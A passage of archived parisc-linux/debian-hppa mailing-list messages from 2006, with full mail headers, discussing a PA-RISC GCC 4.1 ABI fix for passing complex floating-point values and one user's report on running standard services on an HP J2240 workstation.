Only if they were statically linked - I doubt that's the case.

But the reason for the list was to make it easier for the buildd maintainer
to know which packages with previously failed builds could be requeued.

>   The
> only reason they would need rebuilt after a glibc bug fix would be if the
> glibc ABI changed in the process, and that would be Very Bad<tm>.

Yeah, hopefully that doesn't happen.

thanks,
grant


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:34:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Fwd: [patch/hppa] Floating point exception
Date: Mon, 16 Jan 2006 17:52:34 -0500 (EST)
Lines: 32
Approved: news@gmane.org
Message-ID: <200601162252.k0GMqYA1009711__38078.0485844754$1416623994$gmane$org@hiauly1.hia.nrc.ca>
References: <20060116224337.GC22635@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623994 17955 80.91.229.3 (22 Nov 2014 02:39:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:54 +0000 (UTC)
Cc: kyle@debian.org,
 grundler@parisc-linux.org,
 randolph@tausq.org,
 parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org,
 debian-release@lists.debian.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <bounce-debian-hppa=deller=gmx.de@lists.debian.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 16 Jan 2006 23:09:29 -0000
Original-Received: from murphy.debian.org (EHLO murphy.debian.org) [146.82.138.6]
  by mx0.gmx.net (mx028) with SMTP; 17 Jan 2006 00:09:29 +0100
Original-Received: from localhost (localhost [127.0.0.1])
	by murphy.debian.org (Postfix) with QMQP
	id 57B8F2E283; Mon, 16 Jan 2006 17:09:25 -0600 (CST)
Old-Return-Path: <dave@hiauly1.hia.nrc.ca>
X-Original-To: debian-hppa@lists.debian.org
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by murphy.debian.org (Postfix) with ESMTP id 722352DDB3;
	Mon, 16 Jan 2006 16:52:36 -0600 (CST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be forged))
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id k0GMqYil009713;
	Mon, 16 Jan 2006 17:52:35 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id k0GMqYA1009711;
	Mon, 16 Jan 2006 17:52:34 -0500 (EST)
In-Reply-To: <20060116224337.GC22635@colo.lackof.org> from "Grant Grundler" at Jan 16, 2006 03:43:37 pm
X-Mailer: ELM [version 2.4 PL25]
X-Rc-Spam: 2005-09-11_01
X-Rc-Virus: 2005-11-10_01
X-Rc-Spam: 2005-09-11_01
X-Spam-Checker-Version: SpamAssassin 3.0.3 (2005-04-27) on murphy.debian.org
X-Spam-Status: No, score=0.6 required=4.0 tests=AWL,MURPHY_DRUGS_REL8 
	autolearn=no version=3.0.3
Resent-Message-ID: <xCmJPB.A.A1E.leCzDB@murphy>
Resent-From: debian-hppa@lists.debian.org
X-Mailing-List: <debian-hppa@lists.debian.org> archive/latest/5105
X-Loop: debian-hppa@lists.debian.org
List-Id: <debian-hppa.lists.debian.org>
List-Post: <mailto:debian-hppa@lists.debian.org>
List-Help: <mailto:debian-hppa-request@lists.debian.org?subject=help>
List-Subscribe: <mailto:debian-hppa-request@lists.debian.org?subject=subscribe>
List-Unsubscribe: <mailto:debian-hppa-request@lists.debian.org?subject=unsubscribe>
Precedence: list
Resent-Sender: debian-hppa-request@lists.debian.org
Resent-Date: Mon, 16 Jan 2006 17:09:25 -0600 (CST)
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Sender is in whitelist: bounce-debian-hppa=deller=gmx.de@lists.debian.org)
X-GMX-UID: /UK+Y60ceSEkbr6WZHQhaXN1IGRvb4DD
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23382

> >   The
> > only reason they would need rebuilt after a glibc bug fix would be if the
> > glibc ABI changed in the process, and that would be Very Bad<tm>.
> 
> Yeah, hopefully that doesn't happen.

As I have previously mentioned, there is a pending ABI issue affecting
the passing of complex and vector floating point numbers on the PA
(floats in particular on the 32-bit port, and both floats and doubles
on the 64-bit port).  It turns out we are using the wrong registers
to pass these types.

I'm considering fixing this in GCC 4.1 (patch under test this weekend).
We already have an ABI change under HP-UX in GCC 4.1 (dwarf2 exception
support).  I've also observered that there is an incompatibility in
libgcc under linux between 4.0 and 4.1.  I don't know if this is an ABI
change or not.  For these reasons, now is the time to fix these issue.

If anybody feels strongly that the status quo should be maintained
please let me know.  I'm going to bump the libgcc_s versions.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)


-- 
To UNSUBSCRIBE, email to debian-hppa-REQUEST@lists.debian.org
with a subject of "unsubscribe". Trouble? Contact listmaster@lists.debian.org



From - Thu Nov 08 21:34:19 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: Grant Grundler <grundler@parisc-linux.org>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Fwd: [patch/hppa] Floating point exception
Date: Mon, 16 Jan 2006 19:18:53 -0700
Lines: 40
Approved: news@gmane.org
Message-ID: <20060117021853.GA20607__3030.91414175487$1416623994$gmane$org@colo.lackof.org>
References: <20060116224337.GC22635@colo.lackof.org>
	<200601162252.k0GMqYA1009711@hiauly1.hia.nrc.ca>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=us-ascii
X-Trace: ger.gmane.org 1416623994 17956 80.91.229.3 (22 Nov 2014 02:39:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org,
 debian-release@lists.debian.org
To: John David Anglin <dave@hiauly1.hia.nrc.ca>
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Jan 2006 02:09:47 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx034) with SMTP; 17 Jan 2006 03:09:47 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id D562F7D6CB;
	Mon, 16 Jan 2006 19:09:40 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02233-09; Mon, 16 Jan 2006 19:09:40 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id ACB5E7D6CC;
	Mon, 16 Jan 2006 19:09:39 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id DF8567D6CA
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 16 Jan 2006 19:09:35 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02233-06 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 16 Jan 2006 19:09:35 -0700 (MST)
Original-Received: from colo.lackof.org (colo.lackof.org [198.49.126.79])
	by free.linux.hp.com (Postfix) with ESMTP id 4A4777D6C8
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 16 Jan 2006 19:09:35 -0700 (MST)
Original-Received: from localhost (localhost [127.0.0.1])
	by colo.lackof.org (Postfix) with ESMTP id 8918836000E;
	Mon, 16 Jan 2006 19:18:55 -0700 (MST)
Original-Received: from colo.lackof.org ([127.0.0.1])
	by localhost (colo.lackof.org [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 21284-06; Mon, 16 Jan 2006 19:18:54 -0700 (MST)
Original-Received: by colo.lackof.org (Postfix, from userid 27253)
	id 15842360001; Mon, 16 Jan 2006 19:18:54 -0700 (MST)
Content-Disposition: inline
In-Reply-To: <200601162252.k0GMqYA1009711@hiauly1.hia.nrc.ca>
X-Home-Page: http://www.parisc-linux.org/
User-Agent: Mutt/1.5.9i
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at lackof.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: vDS+Y95leSEkUL6WZHQhaXN1IGRvbwBS
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23383

On Mon, Jan 16, 2006 at 05:52:34PM -0500, John David Anglin wrote:
> > >   The
> > > only reason they would need rebuilt after a glibc bug fix would be if the
> > > glibc ABI changed in the process, and that would be Very Bad<tm>.
> > 
> > Yeah, hopefully that doesn't happen.
> 
> As I have previously mentioned, there is a pending ABI issue affecting
> the passing of complex and vector floating point numbers on the PA
> (floats in particular on the 32-bit port, and both floats and doubles
> on the 64-bit port).  It turns out we are using the wrong registers
> to pass these types.

sorry - I forgot about that.
Anyay, it's not a disaster.


> I'm considering fixing this in GCC 4.1 (patch under test this weekend).
> We already have an ABI change under HP-UX in GCC 4.1 (dwarf2 exception
> support).  I've also observered that there is an incompatibility in
> libgcc under linux between 4.0 and 4.1.  I don't know if this is an ABI
> change or not.  For these reasons, now is the time to fix these issue.
> 
> If anybody feels strongly that the status quo should be maintained
> please let me know.  I'm going to bump the libgcc_s versions.


Debian "testing" (etch) is officially using gcc 4.0, right?
Does Debian promote binaries from "unstable" (using gcc 4.1) to "testing"?

If this ABI roll goes through, I can help track down debian packages that
need to be rebuilt if given an existing sample file to look at.

grant
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:20 2018
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "John David Anglin" <dave@hiauly1.hia.nrc.ca>
Newsgroups: gmane.linux.ports.parisc
Subject: Re: [parisc-linux] [Fwd: [patch/hppa] Floating point exception
Date: Mon, 16 Jan 2006 21:33:35 -0500 (EST)
Lines: 21
Approved: news@gmane.org
Message-ID: <200601170233.k0H2XZMA010928__39959.6159616069$1416623994$gmane$org@hiauly1.hia.nrc.ca>
References: <20060117021853.GA20607@colo.lackof.org>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: text/plain;
  charset=US-ASCII
Content-Transfer-Encoding: 7bit
X-Trace: ger.gmane.org 1416623994 17958 80.91.229.3 (22 Nov 2014 02:39:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:54 +0000 (UTC)
Cc: parisc-linux@lists.parisc-linux.org,
 debian-hppa@lists.debian.org,
 debian-release@lists.debian.org
To: grundler@parisc-linux.org (Grant Grundler)
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0011
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Jan 2006 02:34:16 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx071) with SMTP; 17 Jan 2006 03:34:16 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 278207D6D2;
	Mon, 16 Jan 2006 19:34:13 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02551-10; Mon, 16 Jan 2006 19:34:13 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 781A07D6D3;
	Mon, 16 Jan 2006 19:34:12 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id F128F7D6D1
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 16 Jan 2006 19:34:09 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 02551-07 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 16 Jan 2006 19:34:09 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [132.246.100.193])
	by free.linux.hp.com (Postfix) with ESMTP id 47E6B7D6CF
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 16 Jan 2006 19:34:09 -0700 (MST)
Original-Received: from hiauly1.hia.nrc.ca (hiauly1.hia.nrc.ca [127.0.0.1] (may be
	forged)) by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9) with ESMTP id
	k0H2Xail010929; Mon, 16 Jan 2006 21:33:36 -0500 (EST)
Original-Received: (from dave@localhost)
	by hiauly1.hia.nrc.ca (8.12.9-20030917/8.12.9/Submit) id k0H2XZMA010928;
	Mon, 16 Jan 2006 21:33:35 -0500 (EST)
In-Reply-To: <20060117021853.GA20607@colo.lackof.org> from "Grant Grundler" at
	Jan 16, 2006 07:18:53 pm
X-Mailer: ELM [version 2.4 PL25]
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: /zK+YwxJeSEkNb6WZHQhaXN1IGRvb0Au
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23384

> Debian "testing" (etch) is officially using gcc 4.0, right?

The biggest impact is on glibc and code that uses the math "c" routines,
like csqrt () in libm.  I don't have any idea how many packages this
affects, but I doubt it's a lot.  This isn't an issue for hpux since
the HP library doesn't provide complex support under C at the moment.

I'm sorry I didn't spot this before when I worked on fixing the
passing of small structs.  However, you only see this stuff when
you debug related problems.

Dave
-- 
J. David Anglin                                  dave.anglin@nrc-cnrc.gc.ca
National Research Council of Canada              (613) 990-0752 (FAX: 952-6602)
_______________________________________________
parisc-linux mailing list
parisc-linux@lists.parisc-linux.org
http://lists.parisc-linux.org/mailman/listinfo/parisc-linux



From - Thu Nov 08 21:34:20 2018
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys:                                                                                 
Path: news.gmane.org!not-for-mail
From: "Craig D. Lansing" <clansing@charter.net>
Newsgroups: gmane.linux.ports.parisc
Subject: [parisc-linux] J2240 Update
Date: Mon, 16 Jan 2006 21:56:23 -0500
Lines: 325
Approved: news@gmane.org
Message-ID: <001001c61b11$9a3004b0$3301a8c0@POGO>
NNTP-Posting-Host: plane.gmane.org
Mime-Version: 1.0
Content-Type: multipart/mixed;
  boundary="===============1631003007=="
X-Trace: ger.gmane.org 1416623994 17962 80.91.229.3 (22 Nov 2014 02:39:54 GMT)
X-Complaints-To: usenet@ger.gmane.org
NNTP-Posting-Date: Sat, 22 Nov 2014 02:39:54 +0000 (UTC)
To: <parisc-linux@lists.parisc-linux.org>
Original-X-From: - Wed Jul 02 21:27:28 2014
X-Mozilla-Status: 0001
X-Mozilla-Status2: 00000000
X-Mozilla-Keys: 
Return-Path: <parisc-linux-bounces@lists.parisc-linux.org>
X-Flags: 0000
Delivered-To: GMX delivery to deller@gmx.de
Original-Received: (qmail invoked by alias); 17 Jan 2006 02:56:42 -0000
Original-Received: from free.linux.hp.com (EHLO free.linux.hp.com) [192.25.206.17]
  by mx0.gmx.net (mx050) with SMTP; 17 Jan 2006 03:56:42 +0100
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 131F47D6E5;
	Mon, 16 Jan 2006 19:56:37 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03030-08; Mon, 16 Jan 2006 19:56:36 -0700 (MST)
Original-Received: from free.linux.hp.com (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 917307D6DC;
	Mon, 16 Jan 2006 19:56:35 -0700 (MST)
X-Original-To: parisc-linux@lists.parisc-linux.org
Delivered-To: parisc-linux@lists.parisc-linux.org
Original-Received: from localhost (localhost.localdomain [127.0.0.1])
	by free.linux.hp.com (Postfix) with ESMTP id 622487D6D7
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 16 Jan 2006 19:56:31 -0700 (MST)
Original-Received: from free.linux.hp.com ([127.0.0.1])
	by localhost (free.linux.hp.com [127.0.0.1]) (amavisd-new, port 10024)
	with ESMTP id 03030-04 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 16 Jan 2006 19:56:30 -0700 (MST)
Original-Received: from mxsf30.cluster1.charter.net (mxsf30.cluster1.charter.net
	[209.225.28.230])
	by free.linux.hp.com (Postfix) with ESMTP id 9A42E7D6D2
	for <parisc-linux@lists.parisc-linux.org>;
	Mon, 16 Jan 2006 19:56:30 -0700 (MST)
Original-Received: from mxip06a.cluster1.charter.net (mxip06a.cluster1.charter.net
	[209.225.28.136])
	by mxsf30.cluster1.charter.net (8.12.11/8.12.11) with ESMTP id
	k0H2uSia030632 for <parisc-linux@lists.parisc-linux.org>;
	Mon, 16 Jan 2006 21:56:28 -0500
Original-Received: from 24-176-132-220.dhcp.sffl.va.charter.com (HELO POGO)
	([24.176.132.220])
	by mxip06a.cluster1.charter.net with ESMTP; 16 Jan 2006 21:56:28 -0500
X-IronPort-AV: i="3.99,374,1131339600"; 
	d="scan'208,217"; a="1853487120:sNHT47321346"
X-Mailer: Microsoft Office Outlook 11
Thread-Index: AcYbEZnAsqDxC55lTgqzh29URTxxqg==
X-MimeOLE: Produced By Microsoft MimeOLE V6.00.2900.2180
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-BeenThere: parisc-linux@lists.parisc-linux.org
X-Mailman-Version: 2.1.5
Precedence: list
List-Id: parisc-linux developers list <parisc-linux.lists.parisc-linux.org>
List-Unsubscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=unsubscribe>
List-Archive: <http://lists.parisc-linux.org/pipermail/parisc-linux>
List-Post: <mailto:parisc-linux@lists.parisc-linux.org>
List-Help: <mailto:parisc-linux-request@lists.parisc-linux.org?subject=help>
List-Subscribe: <http://lists.parisc-linux.org/mailman/listinfo/parisc-linux>, 
	<mailto:parisc-linux-request@lists.parisc-linux.org?subject=subscribe>
Original-Mime-version: 1.0
Original-Sender: parisc-linux-bounces@lists.parisc-linux.org
Errors-To: parisc-linux-bounces@lists.parisc-linux.org
X-Virus-Scanned: by amavisd-new-20030616-p10 (Debian) at free.linux.hp.com
X-GMX-Antivirus: -1 (not scanned, may not use virus scanner)
X-GMX-Antispam: 0 (Mail was not recognized as spam)
X-GMX-UID: vDm+Y+UleSEkQL6WZHQhaXN1IGRvb4C0
Status: R
X-Status: NC
X-KMail-EncryptionState: 
X-KMail-SignatureState: 
X-KMail-MDN-Sent: 
Xref: news.gmane.org gmane.linux.ports.parisc:23385

This is a multi-part message in MIME format.

--===============1631003007==
Content-Type: multipart/alternative;
	boundary="----=_NextPart_000_0011_01C61AE7.B159FCB0"

This is a multi-part message in MIME format.

------=_NextPart_000_0011_01C61AE7.B159FCB0
Content-Type: text/plain;
	charset="us-ascii"
Content-Transfer-Encoding: 7bit

In case anyone is interested I have been gradually setting up my environment
on the J2240 to match my i386 Red Hat 9 environment just to see how
compatible they really are.

Here's how things have worked out so far.

 

telnet: successful

 

ssh: successful

 

wu-ftp: successful.  Both anonymous and "real" ftp work.  Upload to J2240
works.  Some timeouts using Reflection FTP and DOS FTP. may have been
related to Norton Internet Security bug.  FTP via IE (i.e.
ftp://192.168.1.52 <ftp://192.168.1.52/> ) works.

 

Apache 2.0: successful.  Straight HTML, perl CGI (inc. postgresql), and php4
(inc. postgresql)

 

postgresql: successful.  Also upgraded to 8.1.2 via source and it works.
Had to use -without-readline and -without-zlib.  Also had to link
/var/run/postgresql/.s.PGSQL.5432 --> /tmp/.s.PGSQL.5432

 

perl: successful.  Command line and Apache2 CGI scripts work.  Had to
manually install Getopt::Mixed.pm because make failed.  Postgresql 8.1.2
access works.  Seems to be much slower than PIII/600 RH 9.0.  Killed test
script after 12 hours.  This script runs in 4 hours on PIII/600 RH 9.0 and
ActiveState perl under DOS.

 

php4: successful.  Command line and Apache2 work.  Postgresql 8.1.2 access
works.

 

ToDo:

X/XDMCP:  gdm runs, but desktop is really large (unusable) on the HP p1120
monitor.  Also mouse is not recognized. it does work with the HP-UX boot /
CDE.  Once I got telnet working I didn't spend much time on this.

xinetd (is this OK to use w/ Debian? i.e. with packages update xinetd
scripts or only inet?)

mysql

php5 (am I asking for trouble here?)

 

 

 

 

 

 

 

 


------=_NextPart_000_0011_01C61AE7.B159FCB0
Content-Type: text/html;
	charset="us-ascii"
Content-Transfer-Encoding: quoted-printable

<html xmlns:o=3D"urn:schemas-microsoft-com:office:office" =
xmlns:w=3D"urn:schemas-microsoft-com:office:word" =
xmlns=3D"http://www.w3.org/TR/REC-html40">

<head>
<meta http-equiv=3DContent-Type content=3D"text/html; =
charset=3Dus-ascii">
<meta name=3DGenerator content=3D"Microsoft Word 11 (filtered medium)">
<style>
<!--
 /* Font Definitions */
 @font-face
	{font-family:Wingdings;
	panose-1:5 0 0 0 0 0 0 0 0 0;}
 /* Style Definitions */
 p.MsoNormal, li.MsoNormal, div.MsoNormal
	{margin:0in;
	margin-bottom:.0001pt;
	font-size:12.0pt;
	font-family:"Times New Roman";}
a:link, span.MsoHyperlink
	{color:blue;
	text-decoration:underline;}
a:visited, span.MsoHyperlinkFollowed
	{color:purple;
	text-decoration:underline;}
span.EmailStyle17
	{mso-style-type:personal-compose;
	font-family:Arial;
	color:windowtext;}
@page Section1
	{size:8.5in 11.0in;
	margin:1.0in 1.25in 1.0in 1.25in;}
div.Section1
	{page:Section1;}
-->
</style>

</head>

<body lang=3DEN-US link=3Dblue vlink=3Dpurple>

<div class=3DSection1>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>In case anyone is interested I have been gradually =
setting
up my environment on the J2240 to match my i386 Red Hat 9 environment =
just to
see how compatible they really are.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Here&#8217;s how things have worked out so =
far&#8230;<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>telnet: successful<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>ssh: successful<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>wu-ftp: successful.&nbsp; Both anonymous and =
&#8220;real&#8221;
ftp work.&nbsp; Upload to J2240 works.&nbsp; Some timeouts using =
Reflection FTP
and DOS FTP&#8230; may have been related to Norton Internet Security =
bug.&nbsp;
FTP via IE (i.e. <a href=3D"ftp://192.168.1.52/">ftp://192.168.1.52</a>) =
works.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>Apache 2.0: successful.&nbsp; Straight HTML, perl CGI =
(inc.
postgresql), and php4 (inc. postgresql)<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>postgresql: successful.&nbsp; Also upgraded to 8.1.2 =
via
source and it works.&nbsp; Had to use &#8211;without-readline and =
&#8211;without-zlib.&nbsp;
Also had to link /var/run/postgresql/.s.PGSQL.5432 </span></font><font =
size=3D2
face=3DWingdings><span =
style=3D'font-size:10.0pt;font-family:Wingdings'>&agrave;</span></font><f=
ont
size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;font-family:Arial'>
/tmp/.s.PGSQL.5432<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>perl: successful.&nbsp; Command line and Apache2 CGI =
scripts
work.&nbsp; Had to manually install Getopt::Mixed.pm because make =
failed.&nbsp;
Postgresql 8.1.2 access works.&nbsp; Seems to be much slower than =
PIII/600 RH
9.0.&nbsp; Killed test script after 12 hours.&nbsp; This script runs in =
4 hours
on PIII/600 RH 9.0 and ActiveState perl under =
DOS.<o:p></o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'><o:p>&nbsp;</o:p></span></font></p>

<p class=3DMsoNormal><font size=3D2 face=3DArial><span =
style=3D'font-size:10.0pt;
font-family:Arial'>php4: successful.&nbsp; Command line and Apache2 =
work.&nbsp;
Postgresql 8.1.2 access works.<o:p></o:p></span></font></p>

